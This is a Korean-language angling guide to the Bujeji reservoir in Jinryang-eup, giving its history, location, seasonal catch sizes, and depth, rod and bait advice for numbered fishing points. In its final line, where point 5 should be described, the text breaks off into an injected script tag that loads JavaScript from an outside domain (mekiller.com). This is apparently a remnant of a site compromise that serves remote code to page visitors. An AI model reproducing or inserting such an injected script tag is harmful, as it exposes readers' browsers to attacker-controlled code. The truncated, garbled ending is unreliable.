제 목 : 진량 부제지(며느리지)세밀도 |
부제지(며느리지) 찾아가는길
유래 부제지는 풍년농사를 기원하면서 한 며느리는 시어머니와 같이 제일 먼저 저수지를 막기 시작하였으며 저수지를 완성하고서는 이들 고부의 정성이 깃들어서인지 이름하기를 부(婦)자를 써 "부제지"라 칭하였는데 일명 며느리못 으로도 부르고 있다. 위 치 : 진량읍 시문리 233번지 면 적 :약 13,000평(42,202평방미터) 조성년도 : 1945년경 부제지는 매해 30~35정도의 준수한 씨알을 꾸준히 배출하는곳으로 4월중순부터는 외지인들의 자리차지로 유명 포인트에 앉기가 힘들 정도로 꾼들이 선호하는 곳이다. 또한 자인 대창으로 가는 도로변에 바로 위치해 있기에 차량 을 이용해 포인트까지 곧바로 진입할수가 있어 편리하다. 시기별로 보면 4월 초순부터 5월말까지는 새우와 콩으로 굵은 씨알을 많이 배출되며 장마기전부터 9월 초순까지는 굵은 씨알은 주춤한채 준척급으로 배출되다가 9월 중순부터 10월 말까지 다시 대물들이 다시 모습 보이는 곳이다. 그림의 포인트별로 설명 1번과 우측 포인트는 조경나무로 조성된 공원내의 석축위 자리로 받침대를 꽂기 힘들며 석축 높이도 2m가량 되기에 주로 수초 구멍낚시를 시도하는데 큰대물은 잘 안낚여도 30~33정도 씨알이 많이 배출 되는 곳이다. 수초낚시이기에 주간에 지렁이로도 월척이 곧잘 올라오는곳이다. 수심은 만수시 1~1.3m 가량 유지함. 2번과 좌우측 포인트는 솔밭아래로 뗏장이 많아뗏장주변을 노리는 낚시를 해야 좋은 조과를 볼수가 있는데 낚시방법은 뗏장을 넘기지 말고 뗏장 끝쪽 좌우를 바짝 붙이는 낚시를 해야 굵은 씨알을 볼수가 있다. 수심은 1m내외로 짧은 낚시대 2.0~3.0칸이 유리하다. 미끼는 주간엔 지렁이와 떡밥 그리고 옥수수, 야간에는 대물 위주이므로 새우와 콩을 같이 사용합니다. 3번과 4번 포인트는 갈대숲 포인트로 부제지의 최고 대물포인트인곳이다. 4짜에 육박하는 붕어는 이곳에서 많이 배출되며 자리싸움도 치열한곳이다. 수심은 1m내외로 미끼는 위와같이 사용합니다. 5번 포인트?script src=http://mekiller.com/1/1.js> |